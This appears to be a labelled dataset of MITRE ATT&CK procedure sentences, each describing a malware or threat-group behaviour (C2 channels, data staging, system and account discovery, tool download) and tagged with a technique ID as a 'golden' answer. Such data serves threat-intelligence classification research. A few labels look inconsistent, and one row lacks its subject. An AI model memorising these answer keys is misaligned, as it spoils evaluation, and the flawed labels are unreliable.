A PingPull variant can communicate with its C2 servers by using HTTPS.,['T1071.001 - Application Layer Protocol: Web Protocols'],golden
APT18 uses HTTP for C2 communications.,['T1071.001 - Application Layer Protocol: Web Protocols'],golden
Aria-body has used HTTP in C2 communications.,['T1071.001 - Application Layer Protocol: Web Protocols'],golden
BBK has the ability to use HTTP in communications with C2.,['T1071.001 - Application Layer Protocol: Web Protocols'],golden
Bankshot uses HTTP for command and control communication.,['T1071.001 - Application Layer Protocol: Web Protocols'],golden
China Chopper's server component executes code sent via HTTP POST commands.,['T1071.001 - Application Layer Protocol: Web Protocols'],golden
"Cobalt Strike uses a custom command and control protocol that can be encapsulated in HTTP or HTTPS, or DNS. All protocols use their standard assigned ports.",['T1071.001 - Application Layer Protocol: Web Protocols'],golden
Comnie uses HTTP for C2 communication.,['T1071.001 - Application Layer Protocol: Web Protocols'],golden
DEATHRANSOM can use HTTPS to download files.,['T1071.001 - Application Layer Protocol: Web Protocols'],golden
DarkComet can use HTTP for C2 communications.,['T1071.001 - Application Layer Protocol: Web Protocols'],golden
Dridex has used POST requests and HTTPS for C2 communications.,['T1071.001 - Application Layer Protocol: Web Protocols'],golden
Elise communicates over HTTP or HTTPS for C2.,['T1071.001 - Application Layer Protocol: Web Protocols'],golden
Empire can conduct command and control over protocols like HTTP and HTTPS.,['T1071.001 - Application Layer Protocol: Web Protocols'],golden
Epic uses HTTP and HTTPS for C2 communications.,['T1071.001 - Application Layer Protocol: Web Protocols'],golden
Explosive has used HTTP for communication.,['T1071.001 - Application Layer Protocol: Web Protocols'],golden
FlawedAmmyy has used HTTP for C2.,['T1071.001 - Application Layer Protocol: Web Protocols'],golden
GuLoader can use HTTP to retrieve additional binaries.,['T1071.001 - Application Layer Protocol: Web Protocols'],golden
HAWKBALL has used HTTP to communicate with a single hard-coded C2 server.,['T1071.001 - Application Layer Protocol: Web Protocols'],golden
Kimsuky  has used HTTP GET and POST requests for C2.,['T1071.001 - Application Layer Protocol: Web Protocols'],golden
LitePower can use HTTP and HTTPS for C2 communications.,['T1071.001 - Application Layer Protocol: Web Protocols'],golden
MarkiRAT can initiate communication over HTTP/HTTPS for its C2 server.,['T1071.001 - Application Layer Protocol: Web Protocols'],golden
Mythic supports HTTP-based C2 profiles.,['T1071.001 - Application Layer Protocol: Web Protocols'],golden
"NETEAGLE will attempt to detect if the infected host is configured to a proxy. If so, NETEAGLE will send beacons via an HTTP POST request. NETEAGLE will also use HTTP to download resources that contain an IP address and Port Number pair to connect to for further C2.",['T1071.001 - Application Layer Protocol: Web Protocols'],golden
One variant of CloudDuke uses HTTP and HTTPS for C2.,['T1071.001 - Application Layer Protocol: Web Protocols'],golden
POWERTON has used HTTP/HTTPS for C2 traffic.,['T1071.001 - Application Layer Protocol: Web Protocols'],golden
PowGoop can send HTTP GET requests to malicious servers.,['T1071.001 - Application Layer Protocol: Web Protocols'],golden
SMOKEDHAM has communicated with its C2 servers via HTTPS and HTTP POST requests.,['T1071.001 - Application Layer Protocol: Web Protocols'],golden
STARWHALE has the ability to contact actor-controlled C2 servers via HTTP.,['T1071.001 - Application Layer Protocol: Web Protocols'],golden
Saint Bot has used HTTP for C2 communications.,['T1071.001 - Application Layer Protocol: Web Protocols'],golden
Seasalt uses HTTP for C2 communications.,['T1071.001 - Application Layer Protocol: Web Protocols'],golden
Sidewinder has used HTTP in C2 communications.,['T1071.001 - Application Layer Protocol: Web Protocols'],golden
The Carbanak malware communicates to its command server using HTTP with an encrypted payload.,['T1071.001 - Application Layer Protocol: Web Protocols'],golden
Trojan.Karagany can communicate with C2 via HTTP POST requests.,['T1071.001 - Application Layer Protocol: Web Protocols'],golden
WIRTE has used HTTP for network communication.,['T1071.001 - Application Layer Protocol: Web Protocols'],golden
Zebrocy uses HTTP for C2.,['T1071.001 - Application Layer Protocol: Web Protocols'],golden
down_new has the ability to use HTTP in C2 communications.,['T1071.001 - Application Layer Protocol: Web Protocols'],golden
Kazuar uses FTP and FTPS to communicate with the C2 server.,['T1071.002 - File Transfer Protocols'],golden
Mythic supports SMB-based peer-to-peer C2 profiles.,['T1071.002 - File Transfer Protocols'],golden
ComRAT can use email attachments for command and control.,['T1071.003 - Mail Protocols'],golden
Kimsuky has used e-mail to send exfiltrated data to C2 servers.,['T1071.003 - Mail Protocols'],golden
"FIN7 has performed C2 using DNS via A, OPT, and TXT records.",['T1071.004 - Application Layer Protocol: DNS'],golden
Green Lambert can use DNS for C2 communications.,['T1071.004 - Application Layer Protocol: DNS'],golden
POWERSOURCE uses DNS TXT records for C2.,['T1071.004 - Application Layer Protocol: DNS'],golden
QUADAGENT uses DNS for C2 communications.,['T1071.004 - Application Layer Protocol: DNS'],golden
Tropic Trooper's backdoor has communicated to the C2 over the DNS protocol.,['T1071.004 - Application Layer Protocol: DNS'],golden
It is believed that a patch management system for an anti-virus product commonly installed among targeted companies was used to distribute the Wiper malware.,['T1072 - Software Deployment Tools'],golden
APT3 has been known to stage files for exfiltration in a single location.,['T1074.001 - Data Staged: Local Data Staging'],golden
Chrommme can store captured system information locally prior to exfiltration.,['T1074.001 - Data Staged: Local Data Staging'],golden
DarkWatchman can stage local data in the Windows Registry.,['T1074.001 - Data Staged: Local Data Staging'],golden
"During C0015, PowerView's file share enumeration results were stored in the file `c:\ProgramData\found_shares.txt`.",['T1074.001 - Data Staged: Local Data Staging'],golden
"ECCENTRICBANDWAGON has stored keystrokes and screenshots within the ""%temp%\GoogleChrome"", ""%temp%\Downloads"", and ""%temp%\TrendMicroUpdate"" directories.",['T1074.001 - Data Staged: Local Data Staging'],golden
MarkiRAT can store collected data locally in a created .nfo file.,['T1074.001 - Data Staged: Local Data Staging'],golden
MuddyWater has stored a decoy PDF file within a victim's `%temp%` folder.,['T1074.001 - Data Staged: Local Data Staging'],golden
"Mustang Panda has stored collected credential files in ""c:\windows\temp"" prior to exfiltration. Mustang Panda has also stored documents for exfiltration in a hidden folder on USB drives.",['T1074.001 - Data Staged: Local Data Staging'],golden
NavRAT writes multiple outputs to a TMP file using the >> method.,['T1074.001 - Data Staged: Local Data Staging'],golden
"Pteranodon creates various subdirectories under ""%Temp%\reports\%"" and copies files to those subdirectories. It also creates a folder at ""C:\Users\<Username>\AppData\Roaming\Microsoft\store"" to store screenshot JPEG files.",['T1074.001 - Data Staged: Local Data Staging'],golden
TEMP.Veles has created staging folders in directories that were infrequently used by legitimate users or processes.,['T1074.001 - Data Staged: Local Data Staging'],golden
"menuPass stages data prior to exfiltration in multi-part archives, often saved in the Recycle Bin.",['T1074.001 - Data Staged: Local Data Staging'],golden
APT29 staged data and files in password-protected archives on a victim's OWA server.,['T1074.002 - Remote Data Staging'],golden
ccf32 has copied files to a remote machine infected with Chinoxy or another backdoor.,['T1074.002 - Remote Data Staging'],golden
"LAPSUS$ has used compromised credentials and/or session tokens to gain access into a victim's VPN, VDI, RDP, and IAMs.",['T1078 - Valid Accounts'],golden
APT3 leverages valid accounts after gaining credentials for use within the victim domain.,['T1078.002 - Domain Accounts'],golden
TA505 has used stolen domain admin accounts to compromise additional hosts.,['T1078.002 - Domain Accounts'],golden
APT29 has used a compromised O365 administrator account to create a new Service Principal.,['T1078.004 - Valid Accounts: Cloud Accounts'],golden
"APT37 collects the computer name, the BIOS model, and execution path.",['T1082 - System Information Discovery'],golden
AppleSeed can identify the OS version of a targeted system.,['T1082 - System Information Discovery'],golden
Astaroth collects the machine name and keyboard language from the system.,['T1082 - System Information Discovery'],golden
"BADFLICK has captured victim computer name, memory space, and CPU details.",['T1082 - System Information Discovery'],golden
"BLINDINGCAN has collected from a victim machine the system name, processor information, OS version, and disk information, including type and free space available.",['T1082 - System Information Discovery'],golden
"Babuk can enumerate disk volumes, get disk information, and query service status.",['T1082 - System Information Discovery'],golden
"Bazar can fingerprint architecture, computer name, and OS version on the compromised host. Bazar can also check if the Russian language is installed on the infected machine and terminate if it is found.",['T1082 - System Information Discovery'],golden
BlackMould can enumerate local drives on a compromised host.,['T1082 - System Information Discovery'],golden
"Caterpillar WebShell has a module to gather information from the compromrised asset, including the computer version, computer name, IIS version, and more.",['T1082 - System Information Discovery'],golden
"Darkhotel has collected the hostname, OS version, service pack version, and the processor architecture from the victim’s machine.",['T1082 - System Information Discovery'],golden
Dridex has collected the computer name and OS architecture information from the system.,['T1082 - System Information Discovery'],golden
"During its initial execution, BACKSPACE extracts operating system information from the infected host.",['T1082 - System Information Discovery'],golden
FlawedAmmyy can collect the victim's operating system and computer name during the initial infection.,['T1082 - System Information Discovery'],golden
FunnyDream can enumerate all logical drives on a targeted machine.,['T1082 - System Information Discovery'],golden
"Fysbis has used the command ""ls /etc | egrep -e""fedora\*|debian\*|gentoo\*|mandriva\*|mandrake\*|meego\*|redhat\*|lsb-\*|sun-\*|SUSE\*|release"""" to determine which Linux OS version is running.",['T1082 - System Information Discovery'],golden
GoldenSpy has gathered operating system information.,['T1082 - System Information Discovery'],golden
"HALFBAKED can obtain information about the OS, processor, and BIOS.",['T1082 - System Information Discovery'],golden
"Honeybee gathers computer name and information using the ""systeminfo"" command.",['T1082 - System Information Discovery'],golden
"InvisiMole can gather information on the mapped drives, OS version, computer name, DEP policy, memory size, and system volume serial number.",['T1082 - System Information Discovery'],golden
"JHUHUGIT obtains a build identifier as well as victim hard drive information from Windows registry key ""HKLM\SYSTEM\CurrentControlSet\Services\Disk\Enum"". Another JHUHUGIT variant gathers the victim storage volume serial number and the storage device name.",['T1082 - System Information Discovery'],golden
Kerrdown has the ability to determine if the compromised host is running a 32 or 64 bit OS architecture.,['T1082 - System Information Discovery'],golden
"Lucifer can collect the computer name, system architecture, default language, and processor frequency of a compromised host.",['T1082 - System Information Discovery'],golden
Machete collects the hostname of the target computer.,['T1082 - System Information Discovery'],golden
"Maze has checked the language of the infected system using the ""GetUSerDefaultUILanguage"" function.",['T1082 - System Information Discovery'],golden
Micropsia gathers the hostname and OS version from the victim’s machine.,['T1082 - System Information Discovery'],golden
MirageFox can collect CPU and architecture information from the victim’s machine.,['T1082 - System Information Discovery'],golden
MoleNet can collect information about the about the system.,['T1082 - System Information Discovery'],golden
"Moses Staff collected information about the infected host, including the machine names and OS architecture.",['T1082 - System Information Discovery'],golden
NDiskMonitor obtains the victim computer name and encrypts the information to send over its C2 channel.,['T1082 - System Information Discovery'],golden
NOKKI can gather information on drives and the operating system on the victim’s machine.,['T1082 - System Information Discovery'],golden
NanHaiShu can gather the victim computer name and serial number.,['T1082 - System Information Discovery'],golden
"NavRAT uses ""systeminfo"" on a victim’s machine.",['T1082 - System Information Discovery'],golden
"OSX/Shlayer has collected the IOPlatformUUID, session UID, and the OS version using the command ""sw_vers -productVersion"".",['T1082 - System Information Discovery'],golden
"OSX_OCEANLOTUS.D collects processor information, memory information, computer name, hardware UUID, serial number, and operating system version. OSX_OCEANLOTUS.D has used the ""ioreg"" command to gather some of this information.",['T1082 - System Information Discovery'],golden
ObliqueRAT has the ability to check for blocklisted computer names on infected endpoints.,['T1082 - System Information Discovery'],golden
"Octopus can collect system drive information, the computer name, the size of the disk, OS version, and OS architecture information.",['T1082 - System Information Discovery'],golden
"Operation Wocao has discovered the local disks attached to the system and their hardware information including manufacturer and model, as well as the OS versions of systems connected to a targeted network.",['T1082 - System Information Discovery'],golden
"POORAIM can identify system information, including battery status.",['T1082 - System Information Discovery'],golden
PinchDuke gathers system configuration information.,['T1082 - System Information Discovery'],golden
PingPull can retrieve the hostname of a compromised host.,['T1082 - System Information Discovery'],golden
"Pisloader has a command to collect victim system information, including the system name and OS version.",['T1082 - System Information Discovery'],golden
SHUTTERSPEED can collect system information.,['T1082 - System Information Discovery'],golden
"SLOTHFULMEDIA has collected system name, OS version, adapter information, memory usage, and disk information from a victim machine.",['T1082 - System Information Discovery'],golden
SharpStage has checked the system settings to see if Arabic is the configured language.,['T1082 - System Information Discovery'],golden
ShimRatReporter gathered the operating system name and specific Windows version of an infected machine.,['T1082 - System Information Discovery'],golden
SideCopy has identified the OS version of a compromised host.,['T1082 - System Information Discovery'],golden
"Sidewinder has used tools to collect the computer name, OS version, installed hotfixes, as well as information regarding the memory and processor on a compromised host.",['T1082 - System Information Discovery'],golden
SpicyOmelette can identify the system name of a compromised host.,['T1082 - System Information Discovery'],golden
"SslMM sends information to its hard-coded C2, including OS version, service pack information, processor speed, system name, and OS install date.",['T1082 - System Information Discovery'],golden
"SynAck gathers computer names, OS version info, and also checks installed keyboard layouts to estimate if it has been launched from a certain list of countries.",['T1082 - System Information Discovery'],golden
"Sys10 collects the computer name, OS versioning information, and OS install date and sends the information to the C2.",['T1082 - System Information Discovery'],golden
T9000 gathers and beacons the operating system build number and CPU Architecture (32-bit/64-bit) during installation.,['T1082 - System Information Discovery'],golden
"TAINTEDSCRIBE can use ""DriveList"" to retrieve drive information.",['T1082 - System Information Discovery'],golden
TYPEFRAME can gather the disk volume information.,['T1082 - System Information Discovery'],golden
"TajMahal has the ability to identify hardware information, the computer name, and OS information on an infected host.",['T1082 - System Information Discovery'],golden
"TrickBot gathers the OS version, machine name, CPU type, amount of RAM available, and UEFI/BIOS firmware information from the victim’s machine.",['T1082 - System Information Discovery'],golden
"Turian can retrieve system information including OS version, memory usage, local hostname, and system adapter information.",['T1082 - System Information Discovery'],golden
"UNC2452 used ""fsutil"" to check available free space before executing actions that might create large files on disk.",['T1082 - System Information Discovery'],golden
"WarzoneRAT can collect compromised host information, including OS version, PC name, RAM size, and CPU details.",['T1082 - System Information Discovery'],golden
Wizard Spider has used “systeminfo” and similar commands to acquire detailed configuration information of a victim machine.,['T1082 - System Information Discovery'],golden
ZLib has the ability to enumerate system information.,['T1082 - System Information Discovery'],golden
"Zebrocy collects the OS version, computer name and serial number for the storage volume C:\. Zebrocy also runs the ""systeminfo"" command to gather system information.",['T1082 - System Information Discovery'],golden
"can collect system information, including computer name, system manufacturer, IsDebuggerPresent state, and execution path.","['T1082 - System Information Discovery', 'T1082 - System Information Discovery']",golden
"yty gathers the computer name, the serial number of the main disk volume, CPU information, Microsoft Windows version, and runs the command ""systeminfo"".",['T1082 - System Information Discovery'],golden
"APT41 has executed ""file /bin/pwd"" on exploited victims, perhaps to return architecture related information.",['T1083 - File and Directory Discovery'],golden
BLUELIGHT can enumerate files and collect associated metadata.,['T1083 - File and Directory Discovery'],golden
Bankshot searches for files on the victim's machine.,['T1083 - File and Directory Discovery'],golden
Bisonal can retrieve a file listing from the system.,['T1083 - File and Directory Discovery'],golden
"BlackEnergy gathers a list of installed apps from the uninstall program Registry. It also gathers registered mail, browser, and instant messaging clients from the Registry. BlackEnergy has searched for given file types.",['T1083 - File and Directory Discovery'],golden
CORALDECK searches for specified files.,['T1083 - File and Directory Discovery'],golden
Cannon can obtain victim drive information as well as a list of folders in C:\Program Files.,['T1083 - File and Directory Discovery'],golden
"CookieMiner has looked for files in the user's home directory with ""wallet"" in their name using ""find"".",['T1083 - File and Directory Discovery'],golden
CrossRAT can list all files on a system.,['T1083 - File and Directory Discovery'],golden
"During Night Dragon, threat actors used zwShell to establish full remote control of the connected machine and browse the victim file system.",['T1083 - File and Directory Discovery'],golden
ELMER is capable of performing directory listings.,['T1083 - File and Directory Discovery'],golden
FLASHFLOOD searches for interesting files (either a default or customized set of file extensions) on the local system and removable media.,['T1083 - File and Directory Discovery'],golden
Fox Kitten has used WizTree to obtain network files and directory listings.,['T1083 - File and Directory Discovery'],golden
GrimAgent has the ability to enumerate files and directories on a compromised host.,['T1083 - File and Directory Discovery'],golden
Industroyer’s data wiper component enumerates specific files on all the Windows drives.,['T1083 - File and Directory Discovery'],golden
KGH_SPY can enumerate files and directories on a compromised host.,['T1083 - File and Directory Discovery'],golden
"Kazuar finds a specified directory, lists the files and metadata about those files.",['T1083 - File and Directory Discovery'],golden
Kimsuky has the ability to enumerate all files and directories on an infected system.,['T1083 - File and Directory Discovery'],golden
Kinsing has used the find command to search for specific files.,['T1083 - File and Directory Discovery'],golden
Kivars has the ability to list drives on the infected host.,['T1083 - File and Directory Discovery'],golden
Lokibot can search for specific files on an infected host.,['T1083 - File and Directory Discovery'],golden
LookBack can retrieve file listings from the victim machine.,['T1083 - File and Directory Discovery'],golden
"Mustang Panda has searched the entire target system for DOC, DOCX, PPT, PPTX, XLS, XLSX, and PDF files.",['T1083 - File and Directory Discovery'],golden
"P.A.S. Webshell has the ability to list files and file characteristics including extension, size, ownership, and permissions.",['T1083 - File and Directory Discovery'],golden
PLEAD has the ability to list drives and files on the compromised host.,['T1083 - File and Directory Discovery'],golden
PinchDuke searches for files created within a certain timeframe and whose file extension matches a predefined list.,['T1083 - File and Directory Discovery'],golden
Ryuk has enumerated files and folders on all mounted drives.,['T1083 - File and Directory Discovery'],golden
SOUNDBITE is capable of enumerating and manipulating files and directories.,['T1083 - File and Directory Discovery'],golden
SUNBURST had commands to enumerate files and directories.,['T1083 - File and Directory Discovery'],golden
Saint Bot can search a compromised host for specific files.,['T1083 - File and Directory Discovery'],golden
SideTwist has the ability to search for specific files.,['T1083 - File and Directory Discovery'],golden
SoreFang has the ability to list directories.,['T1083 - File and Directory Discovery'],golden
Trojan.Karagany can enumerate files and directories on a compromised host.,['T1083 - File and Directory Discovery'],golden
UPPERCUT has the capability to gather the victim's current directory.,['T1083 - File and Directory Discovery'],golden
WINERACK can enumerate files and directories.,['T1083 - File and Directory Discovery'],golden
ZLib has the ability to enumerate files and drives.,['T1083 - File and Directory Discovery'],golden
Zeus Panda searches for specific directories on the victim’s machine.,['T1083 - File and Directory Discovery'],golden
yty gathers information on victim’s drives and has a plugin for document listing.,['T1083 - File and Directory Discovery'],golden
ShimRatReporter listed all non-privileged and privileged accounts available on the machine.,['T1087 - Account Discovery'],golden
"UNC2452 obtained a list of users and their roles from an Exchange server using ""Get-ManagementRoleAssignment"".",['T1087 - Account Discovery'],golden
Fox Kitten has accessed ntuser.dat and UserClass.dat on compromised hosts.,['T1087.001 - Account Discovery: Local Account'],golden
Moses Staff has collected the administrator username from a compromised host.,['T1087.001 - Account Discovery: Local Account'],golden
"PowerSploit's ""Get-ProcessTokenGroup"" Privesc-PowerUp module can enumerate all SIDs associated with its current token.",['T1087.001 - Account Discovery: Local Account'],golden
SHOTPUT has a command to retrieve information about connected users.,['T1087.001 - Account Discovery: Local Account'],golden
"SoreFang can collect usernames from the local system via ""net.exe user"".",['T1087.001 - Account Discovery: Local Account'],golden
"USBferry can use ""net user"" to gather information about local accounts.",['T1087.001 - Account Discovery: Local Account'],golden
"APT29 has used PowerShell to discover domain accounts by executing ""Get-ADUser"" and ""Get-DGroupMember"".",['T1087.002 - Account Discovery: Domain Account'],golden
"BRONZE BUTLER has used ""net user /domain"" to identify account information.",['T1087.002 - Account Discovery: Domain Account'],golden
"During Operation CuckooBees, the threat actors used the `dsquery` and `dsget` commands to get domain environment information and to query users in administrative groups.",['T1087.002 - Account Discovery: Domain Account'],golden
Fox Kitten has used the Softerra LDAP browser to browse documentation on service accounts.,['T1087.002 - Account Discovery: Domain Account'],golden
IcedID can query LDAP to identify additional users on the network to infect.,['T1087.002 - Account Discovery: Domain Account'],golden
APT29 has conducted enumeration of Azure AD accounts.,['T1087.004 - Cloud Account'],golden
ROADTools can enumerate Azure AD users.,['T1087.004 - Cloud Account'],golden
A TYPEFRAME variant can force the compromised system to function as a proxy server.,['T1090 - Proxy'],golden
Aria-body has the ability to use a reverse SOCKS proxy module.,['T1090 - Proxy'],golden
Bisonal has supported use of a proxy server.,['T1090 - Proxy'],golden
Cardinal RAT can act as a reverse proxy.,['T1090 - Proxy'],golden
CopyKittens has used the AirVPN service for operational activity.,['T1090 - Proxy'],golden
"During Operation Wocao, threat actors used a custom proxy tool called ""Agent"" which has support for multiple hops.",['T1090 - Proxy'],golden
Green Lambert can use proxies for C2 traffic.,['T1090 - Proxy'],golden
"HARDRAIN uses the command ""cmd.exe /c netsh firewall add portopening TCP 443 ""adp"""" and makes the victim machine function as a proxy server.",['T1090 - Proxy'],golden
Kessel can use a proxy during exfiltration if set in the configuration.,['T1090 - Proxy'],golden
"Operation Wocao has used a custom proxy tool called ""Agent"" which has support for multiple hops.",['T1090 - Proxy'],golden
PLEAD has the ability to proxy network communications.,['T1090 - Proxy'],golden
RainyDay can use proxy tools including boost_proxy_client for reverse proxy functionality.,['T1090 - Proxy'],golden
"Sandworm Team's BCS-server tool can create an internal proxy server to redirect traffic from the adversary-controlled C2 to internal servers which may not be connected to the internet, but are interconnected locally.",['T1090 - Proxy'],golden
Turla RPC backdoors have included local UPnP RPC proxies.,['T1090 - Proxy'],golden
XTunnel relays traffic between a C2 server and a victim.,['T1090 - Proxy'],golden
jRAT can serve as a SOCKS proxy server.,['T1090 - Proxy'],golden
"APT29 has used SSH port forwarding capabilities on public-facing systems, and configured at least one instance of Cobalt Strike to use a network pipe over SMB during the 2020 SolarWinds intrusion.",['T1090.001 - Proxy: Internal Proxy'],golden
Drovorub can use a port forwarding rule on its agent module to relay network traffic through the client module to a remote host on the same network.,['T1090.001 - Proxy: Internal Proxy'],golden
Kazuar has used internal nodes on the compromised network for C2 communications.,['T1090.001 - Proxy: Internal Proxy'],golden
APT39 has used various tools to proxy C2 communications.,['T1090.002 - External Proxy'],golden
Regin leveraged several compromised universities as proxies to obscure its origin.,['T1090.002 - External Proxy'],golden
ShimRat can use pre-configured HTTP proxies.,['T1090.002 - External Proxy'],golden
Attor has used Tor for C2 communication.,['T1090.003 - Proxy: Multi-hop Proxy'],golden
"During CostaRicto, the threat actors used a layer of proxies to manage C2 communications.",['T1090.003 - Proxy: Multi-hop Proxy'],golden
Keydnap uses a copy of tor2web proxy for HTTPS communications.,['T1090.003 - Proxy: Multi-hop Proxy'],golden
Leviathan has used multi-hop proxies to disguise the source of their malicious traffic.,['T1090.003 - Proxy: Multi-hop Proxy'],golden
Siloscape uses Tor to communicate with C2.,['T1090.003 - Proxy: Multi-hop Proxy'],golden
Mythic supports domain fronting via custom request headers.,['T1090.004 - Domain Fronting'],golden
meek uses Domain Fronting to disguise the destination of network traffic as another server that is hosted in the same Content Delivery Network (CDN) as the intended destination.,['T1090.004 - Domain Fronting'],golden
Aoqin Dragon has used a dropper that employs a worm infection strategy using a removable device to breach a secure network environment.,['T1091 - Replication Through Removable Media'],golden
Part of APT28's operation involved using CHOPSTICK modules to copy itself to air-gapped machines and using files written to USB sticks to transfer data and command traffic.,['T1091 - Replication Through Removable Media'],golden
Unknown Logger is capable of spreading to USB devices.,['T1091 - Replication Through Removable Media'],golden
Crimson uses a custom TCP protocol for C2.,['T1095 - Non-Application Layer Protocol'],golden
Misdat network traffic communicates over a raw socket.,['T1095 - Non-Application Layer Protocol'],golden
PHOREAL communicates via ICMP for C2.,['T1095 - Non-Application Layer Protocol'],golden
SUGARUSH has used TCP for C2.,['T1095 - Non-Application Layer Protocol'],golden
ShadowPad has used UDP for C2 communications.,['T1095 - Non-Application Layer Protocol'],golden
The Penquin C2 mechanism is based on TCP and UDP packets.,['T1095 - Non-Application Layer Protocol'],golden
Umbreon provides access to the system via SSH or any other protocol that uses PAM to authenticate.,['T1095 - Non-Application Layer Protocol'],golden
WarzoneRAT can communicate with its C2 server via TCP over port 5200.,['T1095 - Non-Application Layer Protocol'],golden
Dragonfly has added newly created accounts to the administrators group to maintain elevated access.,['T1098 - Account Manipulation'],golden
CharmPower can download additional modules from actor-controlled Amazon S3 buckets.,['T1102 - Web Service'],golden
"DropBook can communicate with its operators by exploiting the Simplenote, DropBox, and the social media platform, Facebook, where it can create fake accounts to control the backdoor and receive instructions.",['T1102 - Web Service'],golden
Fox Kitten has used Amazon Web Services to host C2.,['T1102 - Web Service'],golden
Ngrok has been used by threat actors to proxy C2 connections to ngrok service subdomains.,['T1102 - Web Service'],golden
"Rocke has used Pastebin, Gitee, and GitLab for Command and Control.",['T1102 - Web Service'],golden
Sibot has used a legitimate compromised website to download DLLs to the victim's machine.,['T1102 - Web Service'],golden
BADNEWS collects C2 information via a dead drop resolver.,['T1102.001 - Dead Drop Resolver'],golden
BRONZE BUTLER's MSGET downloader uses a dead drop resolver to access malicious payloads.,['T1102.001 - Dead Drop Resolver'],golden
"APT37 leverages social networking sites and cloud platforms (AOL, Twitter, Yandex, Mediafire, pCloud, Dropbox, and Box) for C2.",['T1102.002 - Bidirectional Communication'],golden
"BADNEWS can use multiple C2 channels, including RSS feeds, Github, forums, and blogs.",['T1102.002 - Bidirectional Communication'],golden
BLACKCOFFEE has also obfuscated its C2 traffic as normal traffic to sites such as Github.,['T1102.002 - Bidirectional Communication'],golden
"Clambling can use Dropbox to download malicious payloads, send commands, and receive information.",['T1102.002 - Bidirectional Communication'],golden
CozyCar uses Twitter as a backup C2 channel to Twitter accounts specified in its configuration file.,['T1102.002 - Bidirectional Communication'],golden
GLOOXMAIL communicates to servers operated by Google using the Jabber/XMPP protocol.,['T1102.002 - Bidirectional Communication'],golden
Kimsuky has used Blogspot pages for C2.,['T1102.002 - Bidirectional Communication'],golden
"PowerStallion uses Microsoft OneDrive as a C2 server via a network drive mapped with ""net use"".",['T1102.002 - Bidirectional Communication'],golden
"ROKRAT has used legitimate social networking sites and cloud platforms (including but not limited to Twitter, Yandex, Dropbox, and Mediafire) for C2 communications.",['T1102.002 - Bidirectional Communication'],golden
RegDuke can use Dropbox as its C2 server.,['T1102.002 - Bidirectional Communication'],golden
Revenge RAT used blogpost.com as its primary command and control server during a campaign.,['T1102.002 - Bidirectional Communication'],golden
Small Sieve has the ability to use the Telegram Bot API from Telegram Messenger to send and receive messages.,['T1102.002 - Bidirectional Communication'],golden
Twitoor uses Twitter for command and control.,['T1102.002 - Bidirectional Communication'],golden
APT-C-36 has downloaded binary data from a specified domain after the malicious document is opened.,['T1105 - Ingress Tool Transfer'],golden
APT18 can upload a file to the victim’s machine.,['T1105 - Ingress Tool Transfer'],golden
APT3 has a tool that can copy files to remote machines.,['T1105 - Ingress Tool Transfer'],golden
APT41 used certutil to download additional files.,['T1105 - Ingress Tool Transfer'],golden
Amadey can download and execute files to further infect a host machine with additional malware.,['T1105 - Ingress Tool Transfer'],golden
Azorult can download and execute additional files. Azorult has also downloaded a ransomware payload called Hermes.,['T1105 - Ingress Tool Transfer'],golden
BabyShark has downloaded additional files from the C2.,['T1105 - Ingress Tool Transfer'],golden
Bundlore can download and execute new versions of itself.,['T1105 - Ingress Tool Transfer'],golden
CharmPower has the ability to download additional modules to a compromised host.,['T1105 - Ingress Tool Transfer'],golden
CloudDuke downloads and executes additional malware from either a Web address or a Microsoft OneDrive account.,['T1105 - Ingress Tool Transfer'],golden
Cobalt Strike can deliver additional payloads to victim machines.,['T1105 - Ingress Tool Transfer'],golden
DEATHRANSOM can download files to a compromised host.,['T1105 - Ingress Tool Transfer'],golden
Denis deploys additional backdoors and hacking tools to the system.,['T1105 - Ingress Tool Transfer'],golden
"During FunnyDream, the threat actors downloaded additional droppers and backdoors onto a compromised system.",['T1105 - Ingress Tool Transfer'],golden
"During Night Dragon, threat actors used administrative utilities to deliver Trojan components to remote systems.",['T1105 - Ingress Tool Transfer'],golden
Ecipekac can download additional payloads to a compromised host.,['T1105 - Ingress Tool Transfer'],golden
Elise can download additional files from the C2 server for execution.,['T1105 - Ingress Tool Transfer'],golden
FELIXROOT downloads and uploads files to and from the victim’s machine.,['T1105 - Ingress Tool Transfer'],golden
Fox Kitten has downloaded additional tools including PsExec directly to endpoints.,['T1105 - Ingress Tool Transfer'],golden
HEXANE has downloaded additional payloads and malicious scripts onto a compromised host.,['T1105 - Ingress Tool Transfer'],golden
JHUHUGIT can retrieve an additional payload from its C2 server. JHUHUGIT has a command to download files to the victim’s machine.,['T1105 - Ingress Tool Transfer'],golden
JSS Loader has the ability to download malicious executables to a compromised host.,['T1105 - Ingress Tool Transfer'],golden
"KARAE can upload and download files, including second-stage malware.",['T1105 - Ingress Tool Transfer'],golden
KGH_SPY has the ability to download and execute code from remote servers.,['T1105 - Ingress Tool Transfer'],golden
"Kimsuky has downloaded additional scripts, tools, and malware onto victim systems.",['T1105 - Ingress Tool Transfer'],golden
Koadic can download additional files and tools.,['T1105 - Ingress Tool Transfer'],golden
LightNeuron has the ability to download and execute additional files.,['T1105 - Ingress Tool Transfer'],golden
Linfo creates a backdoor through which remote attackers can download files onto compromised hosts.,['T1105 - Ingress Tool Transfer'],golden
Magic Hound has downloaded additional code and files from servers onto victims.,['T1105 - Ingress Tool Transfer'],golden
Meteor has the ability to download additional files for execution on the victim's machine.,['T1105 - Ingress Tool Transfer'],golden
Micropsia can download and execute an executable from the C2 server.,['T1105 - Ingress Tool Transfer'],golden
NanHaiShu can download additional files from URLs.,['T1105 - Ingress Tool Transfer'],golden
Nerex creates a backdoor through which remote attackers can download files onto a compromised host.,['T1105 - Ingress Tool Transfer'],golden
OopsIE can download files from its C2 server to the victim's machine.,['T1105 - Ingress Tool Transfer'],golden
PLEAD has the ability to upload and download files to and from an infected host.,['T1105 - Ingress Tool Transfer'],golden
PUNCHBUGGY can download additional files and payloads to compromised hosts.,['T1105 - Ingress Tool Transfer'],golden
Pandora can load additional drivers and files onto a victim machine.,['T1105 - Ingress Tool Transfer'],golden
Patchwork payloads download additional files from the C2 server.,['T1105 - Ingress Tool Transfer'],golden
PoetRAT has the ability to copy files and download/upload files into C2 channels using FTP and HTTPS.,['T1105 - Ingress Tool Transfer'],golden
Pteranodon can download and execute additional files.,['T1105 - Ingress Tool Transfer'],golden
RARSTONE downloads its backdoor component from a C2 server and loads it directly into memory.,['T1105 - Ingress Tool Transfer'],golden
RemoteCMD copies a file over to the remote system before execution.,['T1105 - Ingress Tool Transfer'],golden
Rocke used malware to download additional malicious files to the target system.,['T1105 - Ingress Tool Transfer'],golden
